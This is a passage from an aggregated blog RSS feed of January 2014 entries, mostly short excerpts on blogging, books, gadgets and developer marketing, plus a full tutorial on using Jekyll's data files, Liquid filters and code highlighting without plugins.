Wrecked Hollywood&lt;/a&gt; explains very well one huge and ridiculous internal contradiction in today&amp;rsquo;s movie industry&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 20 Jan 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/01/on-movie-studios-using-copyright-to-loot-their-own-basements/</guid></item><item><title>The Reasons I Write</title><link>https://zacs.site/blog/the-reasons-i-write.html</link><description>&lt;p&gt;Back from a weekend camping, I had a lot of catching up to do. Beginning with some four hundred unread tweets yesterday afternoon and approximately fifty RSS items, I have finally made my way to Instapaper where I had Linus Edwards&amp;#8217;s ninth installment of his Daily Zen series&amp;#160;&amp;#8212;&amp;#160;&lt;a href="http://vintagezen.com/zen/2014/1/16/dz9"&gt;&lt;em&gt;The Daily Zen &amp;#35;9 &amp;#8220;Exposed &amp;#38; Obscured&amp;#8221;&lt;/em&gt;&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;waiting for me. I only found his blog recently, but &lt;a href="https://zacs.site/blog/winners-losers-and-high-school.html"&gt;given the nature&lt;/a&gt; of &lt;a href="http://vintagezen.com/zen/2014/1/10/dz8"&gt;his last post&lt;/a&gt; it came as no surprise that I liked this one a great deal. Specifically, his thoughts on why we, as a community, write on the internet and publishing our own personal blogs struck me in particular:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-reasons-i-write.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 20 Jan 2014 09:42:14 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-reasons-i-write.html</guid></item><item><title>The Book Thief</title><link>https://nindalf.com/posts/the-book-thief/</link><description>Death narrates the story of a young girl who steals books to escape the harsh realities of Nazi Germany in Markus Zusak's 'The Book Thief.'</description><author>Krishna's blog</author><pubDate>Mon, 20 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nindalf.com/posts/the-book-thief/</guid></item><item><title>Using Jekyll optimally without plugins</title><link>https://captnemo.in/blog/2014/01/20/pluginless-jekyll/</link><description>&lt;p&gt;If you’re a programmer, by now you’ve surely heard of the various static-site
compilers that are taking over the world. My pick of choice is Jekyll, (about
which I’ve &lt;a href="/blog/2011/09/19/jekyll/"&gt;blogged earlier&lt;/a&gt; as well) mostly because
it is the default supported tool for the GitHub Pages service. Read &lt;a href="/blog/2011/09/19/jekyll/"&gt;my earlier
blog post&lt;/a&gt; if you don’t know about Static Site Generators.&lt;/p&gt;

&lt;p&gt;Using Jekyll means that it is far more easier for me to host my blog on GitHub
Pages by just writing down posts in plain markdown. Markdown, for those of you
don’t know is a simple markup language that uses an email-like syntax that is
then compiled to HTML.&lt;/p&gt;

&lt;p&gt;A lot of power in Jekyll comes from its various plugins, but I’ve always been
vary of using them as the default host for Jekyll (GitHub Pages) disables
all plugins and runs in safe mode. Plugins are an awesome tool to have, but they
are only good if you are hosting the site on your own machines. I’m not shying
away from using them but want to point out that plain-Jekyll itself is powerful
enough to do most of the tasks. What follows are some examples of how to use
Jekyll optimally.&lt;/p&gt;

&lt;h2 id="data-files"&gt;Data Files&lt;/h2&gt;
&lt;p&gt;This is a &lt;a href="http://jekyllrb.com/docs/datafiles/"&gt;recent addition&lt;/a&gt; in Jekyll that allows you to use
data noted down in YAML format inside the &lt;code class="language-plaintext highlighter-rouge"&gt;_data&lt;/code&gt; directory that is accessible
to you anywhere using the &lt;code class="language-plaintext highlighter-rouge"&gt;site.data&lt;/code&gt; prefix. For instance, I recently shifted
the &lt;a href="http://team.sdslabs.co/"&gt;SDSLabs Team Page&lt;/a&gt; from plain HTML to Jekyll, and I used a data file
to define all the required elements that are shown for every user. The data file
looks something like this (&lt;code class="language-plaintext highlighter-rouge"&gt;_data/members.yml&lt;/code&gt;):&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Abhay&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Rana"&lt;/span&gt;
  &lt;span class="na"&gt;pic&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abhay.jpg"&lt;/span&gt;
  &lt;span class="na"&gt;links&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;Facebook&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://facebook.com/capt.n3m0"&lt;/span&gt;
    &lt;span class="na"&gt;Twitter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://twitter.com/captn3m0"&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Team&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;SDSLabs"&lt;/span&gt;
  &lt;span class="na"&gt;pic&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sdslabs.jpg"&lt;/span&gt;
  &lt;span class="na"&gt;links&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;Facebook&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://facebook.com/SDSLabs"&lt;/span&gt;
    &lt;span class="na"&gt;Twitter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://twitter.com/sdslabs"&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then, I iterate over this data using the following syntax:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-html"&gt;{% for member in site.data.members %}
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"pics/{{member.pic}}"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"{{member.name}}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"img-bar"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"img-title"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;{{member.name}}&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"img-icons"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    {% for link in member.links %}
    &lt;span class="c"&gt;&amp;lt;!-- link[0] holds the hash key = facebook/twitter --&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"{{link[1]}}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"assets/{{link[0]|downcase}}.png"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- link[1] holds the hash value--&amp;gt;&lt;/span&gt;
    {% endfor %}
  &lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
{% endfor %}&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Earlier, you could have achieved the same thing by adding this data to your
&lt;code class="language-plaintext highlighter-rouge"&gt;_config.yml&lt;/code&gt; file, but the &lt;code class="language-plaintext highlighter-rouge"&gt;_data&lt;/code&gt; folder allows you to store data properly
in various files, if needed.&lt;/p&gt;

&lt;h2 id="liquid-filters"&gt;Liquid Filters&lt;/h2&gt;
&lt;p&gt;Since Jekyll relies on &lt;a href="http://liquidmarkup.org/" title="Liquid Markup Language"&gt;Shopify’s Liquid&lt;/a&gt; language for templating
purposes, it has a very large list of supported functions, filters and markup
tools ready for you to use. For instance, while working on the
&lt;a href="http://sdslabs.co/"&gt;SDSLabs Portfolio&lt;/a&gt;, I used the split and downcase filter to convert
a known list of categories to single word objects that could be used as file
names.&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-html"&gt;{% for category in site.data.category %}
  &lt;span class="c"&gt;&amp;lt;!-- category is something like "Web Development"--&amp;gt;&lt;/span&gt;
  {% assign category_name = category|split: ' '|first|downcase %}
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/category/{{category_name}}.html"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;{{ category }}&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
{% endfor %}&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The above snippet converts a string like “Web Development” to a smaller string
“web” that can be used by us for filenames much more easily.&lt;/p&gt;

&lt;p&gt;You can check out more liquid filters &lt;a href="https://docs.shopify.com/themes/liquid-basics/output"&gt;over here&lt;/a&gt;. These include
things like &lt;code class="language-plaintext highlighter-rouge"&gt;plus&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;times&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;reverse&lt;/code&gt;, and even &lt;code class="language-plaintext highlighter-rouge"&gt;md5&lt;/code&gt; (helpful for gravatars).&lt;/p&gt;

&lt;h2 id="code-highlighting"&gt;Code Highlighting&lt;/h2&gt;
&lt;p&gt;Markdown is really awesome, but it lacks Synax Highlighting for code. Jekyll
uses &lt;a href="http://pygments.org/"&gt;pygments&lt;/a&gt; to support syntax highlighting for various languages.
To highlight a piece of code, you just use the following syntax:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-text"&gt;{% highlight ruby %}
def show
  @widget = Widget(params[:id])
  respond_to do |format|
    format.html # show.html.erb
    format.json { render json: @widget }
  end
end
{% endhighlight %}&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And the output will look like this:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-ruby"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;show&lt;/span&gt;
  &lt;span class="vi"&gt;@widget&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Widget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:id&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="n"&gt;respond_to&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
    &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt; &lt;span class="c1"&gt;# show.html.erb&lt;/span&gt;
    &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="ss"&gt;json: &lt;/span&gt;&lt;span class="vi"&gt;@widget&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id="custom-permalinks"&gt;Custom Permalinks&lt;/h2&gt;
&lt;p&gt;Everyone knows about handling the blog posts permalink using the permalinks
setting in &lt;code class="language-plaintext highlighter-rouge"&gt;_config.yml&lt;/code&gt;. But did you know that you can provide custom
permalink to any page in your site? For instance, the Jekyll documentation site
uses the following:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;permalink: /docs/config/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;in the frontmatter for the file &lt;code class="language-plaintext highlighter-rouge"&gt;docs/configuration.md&lt;/code&gt;. The file would have
been published to &lt;code class="language-plaintext highlighter-rouge"&gt;docs/configuration.html&lt;/code&gt; by default, but the permalink in the
file forces it to be published to &lt;code class="language-plaintext highlighter-rouge"&gt;/docs/config/index.html&lt;/code&gt;. Its a really nice
setting that allows you to customize the post url for any particular post.&lt;/p&gt;

&lt;h2 id="raw-liquid-tag"&gt;Raw Liquid Tag&lt;/h2&gt;
&lt;p&gt;In the rare case that you want to use liquid-like syntax somewhere, say you are
using Handlebars (which uses {{{variable}}} to echo variables).
You can use the following syntax:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;{% raw %}
Here is some {{mustache}}
{% endraw %}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In fact, I’ve used the raw tags a lot in this blog post to escape all the liquid
portions. You can see the &lt;a href="https://github.com/Shopify/liquid/wiki/Liquid-for-Designers"&gt;liquid documentation&lt;/a&gt; for more help.&lt;/p&gt;

&lt;p&gt;Side Note: Writing the endraw tag in liquid is &lt;a href="http://blog.slaks.net/2013-06-10/jekyll-endraw-in-code/"&gt;really, really hard&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="embedding-htmlcss-inside-markdown"&gt;Embedding HTML/CSS inside markdown&lt;/h2&gt;
&lt;p&gt;Sometimes, there are some things that just can’t be done with markdown. For
instance, if you need to use a custom tag, or need to write some css within the
markdown document for some reason, there is always a way: just embed content
inside &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags. This is not a Jekyll feature, but an implementation detail
of Markdown itself, but I think its hacky enough to get a mention here.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Writing **markdown** here
&amp;lt;div&amp;gt;
  &amp;lt;style&amp;gt;
    body{
      margin-top: 10px;
  }
  &amp;lt;/style&amp;gt;
&amp;lt;/div&amp;gt;
Back to _Markdown_.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Anything inside a &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag is untouched by Markdown, and is rendered as it is.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Mon, 20 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/01/20/pluginless-jekyll/</guid></item><item><title>Data, file formats and protocols as the first platform of network politics</title><link>https://stop.zona-m.net/2014/01/data-file-formats-and-protocols-as-the-first-platform-of-network-politics/</link><description>&lt;p&gt;This was the abstract of a talk I proposed for a Network Politics Conference in 2011. The talk wasn&amp;rsquo;t accepted, but I&amp;rsquo;d like to restart a conversation on this topic, so here it goes.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 19 Jan 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/01/data-file-formats-and-protocols-as-the-first-platform-of-network-politics/</guid></item><item><title>Great Canadian Appathon 4</title><link>https://jasoneckert.github.io/myblog/great-canadian-appathon-4/</link><description>&lt;p&gt;&lt;img alt="GCA1" src="gca1.png#center" title="GCA1" /&gt;&lt;/p&gt;
&lt;p&gt;Today, we finished the fourth Great Canadian Appathon - a Canada-wide competition where students from 18 colleges and universities coast to coast compete to create a mobile video game in 48 hours for a chance to win over $35,000!  And we hosted a hub at our Kitchener campus again for the whole weekend.&lt;/p&gt;
&lt;p&gt;&lt;img alt="GCA2" src="gca2.jpg#center" title="GCA2" /&gt;
&lt;img alt="GCA3" src="gca3.jpg#right" title="GCA3" /&gt;&lt;/p&gt;
&lt;p&gt;In short, this year&amp;rsquo;s GCA went incredibly well – everyone was pumped and loved the experience!  We had students from three different campuses attend the event (Kitchener, Hamilton and London), and all teams managed to complete some amazing games and submit them before the deadline.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Sun, 19 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/great-canadian-appathon-4/</guid></item><item><title>Upstream Color</title><link>https://olshansky.info/movie/upstream_color/</link><description>Olshansky's review of Upstream Color</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 18 Jan 2014 02:48:43 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/upstream_color/</guid></item><item><title>The Daily Slog</title><link>https://zacs.site/blog/the-daily-slog.html</link><description>&lt;p&gt;You might consider this article a thinly-veiled stopgap to inevitably breaking my streak of publishing at least one new post every day. While one could certainly make that case, for I did pick this topic while searching for something to write about today, its origin does not change the relevancy of this subject.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-daily-slog.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 17 Jan 2014 17:30:01 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-daily-slog.html</guid></item><item><title>CoderDojo Launch</title><link>https://nicolaiarocci.com/coderdojo-launch/</link><description>&lt;p&gt;Yesterday I attended the &lt;a href="http://agendadigitaleravenna.it"&gt;Digital Divide Workshop&lt;/a&gt; ran by Agenda Digitale Ravenna. With my friend &lt;a href="http://www.linkedin.com/in/gcsolaroli"&gt;Giulio Cesare&lt;/a&gt; we gave a quick &lt;a href="https://speakerdeck.com/nicola/coderdojo-romagna"&gt;introductory talk&lt;/a&gt; on the CoderDojo we are launching in our area. Want to help as a mentor? &lt;a href="http://coderdojoravenna.it/collabora/"&gt;Get in touch&lt;/a&gt;!&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 17 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/coderdojo-launch/</guid></item><item><title>Where to start with developer content</title><link>/2014/01/16/Where-to-start-with-developer-content/</link><description>&lt;p&gt;Commonly at developer focused companies the question from a marketing team will come up of &amp;ldquo;How do we get content that developers find interesting&amp;rdquo;? Or how can I get our developers to blog more? Or some other similar question. I general the question of creating content and engaging with developers is a very common one, and often theres a mismatch between what marketing wants to do and what developers appreciate.&lt;/p&gt;
&lt;h3 id="stop-marketing"&gt;
&lt;div&gt;
Stop marketing
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Forget trying to &amp;ldquo;market&amp;rdquo; to developers. Hopefully you at least have developers that believe in the product their building, if thats not the case then find a new product or a new team. If you&amp;rsquo;ve got a product targetted at developers and a team that believes in it then you&amp;rsquo;re already half way there to marketing it. Now back to the first point, forget trying to market it. Start with building some form of an audience, reputation, respect among other developers. This isn&amp;rsquo;t done through ads, email marketing, SEO or any of that. Its done by creating content that developers find interesting, as a first step forget your product entirely, but don&amp;rsquo;t worry we&amp;rsquo;ll get there soon enough.&lt;/p&gt;
&lt;h3 id="sourcing-content"&gt;
&lt;div&gt;
Sourcing content
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The first piece of it on finding content should actually be extremely simple. Typically engineers love sharing knowledge and information. At least once a week there&amp;rsquo;s an email out to all the engineers of a truly interesting approach to something. This content is often not in a perfect form for external publication, but quite close. In particular Heroku has &lt;a href="https://twitter.com/mmcgrana"&gt;one employee&lt;/a&gt;, an early employee and now architect, that every email he sends to such a group I pull down and save for future reading. Another example of this was one of the Heroku founder Adam Wiggins, you can find many similar emails slightly cleaned up as blog posts on his own &lt;a href="https://adam.heroku.com/"&gt;blog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Take these emails, find someone technical enough to clean them up and ship them. Your goals here are to simply build some level of connection with other developers. Now a lot of time these may not be in the right &amp;ldquo;voice&amp;rdquo; for your company blog. Thats quite fine, I&amp;rsquo;m a strong proponent of letting developers create their own personalitiies. The place for the content then may not always be on the company blog. In general I find there&amp;rsquo;s three groupings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Content for the company blog by an employee&lt;/li&gt;
&lt;li&gt;Content for an individuals blog (the caveat here is they need to regularly create content - every 6 months doesnt cut it)&lt;/li&gt;
&lt;li&gt;Content for an &lt;a href="http://codeascraft.com/"&gt;engineering blog&lt;/a&gt; (if you have enough of the above that blog infrequently this is a great home for it)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="dont-worry-about-the-product-yet"&gt;
&lt;div&gt;
Don&amp;rsquo;t worry about the product yet
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;No really don&amp;rsquo;t worry about pitching your product. There was an awesome piece on the &lt;a href="http://insideintercom.io/new-features-usually-flop/"&gt;intercom blog talking about why most features fail&lt;/a&gt; and how companies pitch the details versus the problem they solve. Though there was a hidden gem in there:&lt;/p&gt;
&lt;p&gt;{% blockquote [Des Traynor] [http://insideintercom.io/new-features-usually-flop/] [New Features Usually Flop] %}
Telling your customers something is a “ground up rewrite”, “HTML5 based”, “responsive” or anything like that will miss the mark unless you’re selling to developers.
{% endblockquote %}&lt;/p&gt;
&lt;p&gt;For companies targetting developers this actually works really well, as a developer I care about the how. Simply put its interesting. Another great example of this is &lt;a href="http://blog.priceonomics.com/"&gt;priceonomics&lt;/a&gt;. To be honest I only checked what they actually do in writing this post, but their posts I regularly find interesting.&lt;/p&gt;
&lt;h3 id="whats-next"&gt;
&lt;div&gt;
Whats next
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;What do you want to know about? Creating a voice/brand, starting to pitch your product, content distribution? Let me know. A good about of my time is spent on these and happy to discuss further on whats valuable to others so we don&amp;rsquo;t have to suffer through painful marketing. Let me know &lt;a href="mailto:craig.kerstiens@gmail.com"&gt;craig.kerstiens@gmail.com&lt;/a&gt; or &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Thu, 16 Jan 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/01/16/Where-to-start-with-developer-content/</guid></item><item><title>Testing GlusterFS during “Glusterfest”</title><link>https://purpleidea.com/blog/2014/01/16/testing-glusterfs-during-glusterfest/</link><description>&lt;p&gt;The GlusterFS community is having a &amp;ldquo;test day&amp;rdquo;. &lt;a href="https://purpleidea.com/blog/2014/01/08/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/" title="Automatically deploying GlusterFS with Puppet-Gluster + Vagrant!"&gt;Puppet-Gluster+Vagrant&lt;/a&gt; is a great tool to help with this, and it has now been patched to support &lt;em&gt;alpha&lt;/em&gt;, &lt;em&gt;beta&lt;/em&gt;, &lt;em&gt;qa&lt;/em&gt;, and &lt;em&gt;rc&lt;/em&gt; releases! Because it was built so well (&lt;strong&gt;*&lt;/strong&gt;&lt;em&gt;cough&lt;/em&gt;&lt;strong&gt;*&lt;/strong&gt;, shameless plug), it only took &lt;a href="https://github.com/purpleidea/puppet-gluster/commit/30392fd0cb4e2bd0e39faea83915bfe8a6574bbc"&gt;one patch&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Okay, first make sure that your Puppet-Gluster+Vagrant setup is working properly. I have only tested this on Fedora 20. Please read:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 16 Jan 2014 22:28:17 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/01/16/testing-glusterfs-during-glusterfest/</guid></item><item><title>Miranda’s Letter to Dr. Mirage</title><link>https://mbutler.org/mirandas-letter-to-dr-mirage/</link><description>In 1994, my college roommates and I started playing the game Heroes Unlimited, published by Palladium Books. We&amp;#8217;d been reading a lot of comic books and playing the Marvel Super Heroes RPG up until that point and made the jump to Heroes Unlimited after pouring through its catalog-like selection of super powers and gadgetry. It [&amp;#8230;]</description><author>mbutler</author><pubDate>Thu, 16 Jan 2014 19:36:17 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/mirandas-letter-to-dr-mirage/</guid></item><item><title>Thinking About An iPad Pro</title><link>http://www.macstories.net/stories/thinking-about-an-ipad-pro/</link><description>&lt;p&gt;I have written &lt;a href="https://zacs.site/blog/the-ipad-pro.html"&gt;a&lt;/a&gt; &lt;a href="https://zacs.site/blog/clocking-down-the-mini.html"&gt;number&lt;/a&gt; of &lt;a href="https://zacs.site/blog/more-on-the-ipad-pro.html"&gt;articles&lt;/a&gt; in the past speculating as to what an iPad Pro could do to differentiate itself from Apple&amp;#8217;s two existing models and thus merit its addition to the lineup. In all those posts, my proposed device most closely tracked with Federico&amp;#8217;s &amp;#8220;Option B: A &amp;#8216;Pro&amp;#8217; iPad With Substantial Software &amp;#38; Hardware Changes&amp;#8221;. Like Federico, I find the case for the alternatives&amp;#160;&amp;#8212;&amp;#160;his &amp;#8220;Option A&amp;#8221; and &amp;#8220;Option C&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;difficult to make, to say the least. I won&amp;#8217;t rehash each of my articles or Federico&amp;#8217;s points here, but suffice it to say that I think it very likely that we will see an iPad Pro very soon from Apple. With the 2013 Mac Pro ironically shipping in 2014, perhaps 2014 will be the year of the Pro.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.macstories.net/stories/thinking-about-an-ipad-pro/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 16 Jan 2014 17:37:36 GMT</pubDate><guid isPermaLink="true">http://www.macstories.net/stories/thinking-about-an-ipad-pro/</guid></item><item><title>Thinking About the Future</title><link>https://zacs.site/blog/thinking-about-the-future.html</link><description>&lt;p&gt;The past ten days have astounded me. I entered 2014 with &lt;a href="https://zacs.site/blog/doing-monetization-well.html"&gt;low expectations&lt;/a&gt;, tentatively hoping to increase my readership by some small integer multiple year over year. Over the next two weeks, however, I surpassed traffic for the entirety of 2013 with fifteen days left in January. What&amp;#8217;s more, these readers keep coming back: although pageviews decreased after the initial surge from Jim Dalrymple&amp;#8217;s link faded, my readership has continued to grow since then at an impressive (and mildly alarming) rate. RSS subscriptions have increased as well by a factor of five, and I now have nearly as many signed up for my newsletter as I had daily visitors in 2013. This has given me a great deal to think about, and forced me to keep my head down working feverishly in my every spare moment. Now, though, with a brief respite between articles, I have started thinking about the future.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/thinking-about-the-future.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 16 Jan 2014 13:23:12 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/thinking-about-the-future.html</guid></item><item><title>Why free trials of certain software programs are bad</title><link>https://stop.zona-m.net/2014/01/why-free-trials-of-certain-software-programs-are-bad/</link><description>&lt;p&gt;&lt;em&gt;(this is a reformatted/expanded version of a comment I made in November 2013 on the Libre Office mailing list)&lt;/em&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 16 Jan 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/01/why-free-trials-of-certain-software-programs-are-bad/</guid></item><item><title>Community</title><link>https://zacs.site/blog/community.html</link><description>&lt;p&gt;Many have called the blogging racket an echo chamber, wherein one popular writer says something mildly interesting and everyone else immediately links to that article with trite, nuanced comments tacked on after a paragraph or two taken in excerpt. Anyone following &lt;a href="https://twitter.com/joshuaginter"&gt;Joshua Ginter&lt;/a&gt; and I over the last few days would have seen us epitomize the circular nature of that stereotype in our recent exchanges, albeit sans popularity: first, I wrote &lt;a href="https://zacs.site/blog/doing-monetization-well.html"&gt;&lt;em&gt;Doing Monetization Well&lt;/em&gt;&lt;/a&gt;, and Josh replied with a thoughtful piece titled &lt;a href="http://www.thenewsprint.co/blog/cashing-in-the-blog"&gt;&lt;em&gt;Cashing In A Blog&lt;/em&gt;&lt;/a&gt;. Continuing the cycle, I then published &lt;a href="https://zacs.site/blog/cashing-in-a-blog.html"&gt;&lt;em&gt;Tangible Goals&lt;/em&gt;&lt;/a&gt;, to which Josh wrote in response with &lt;a 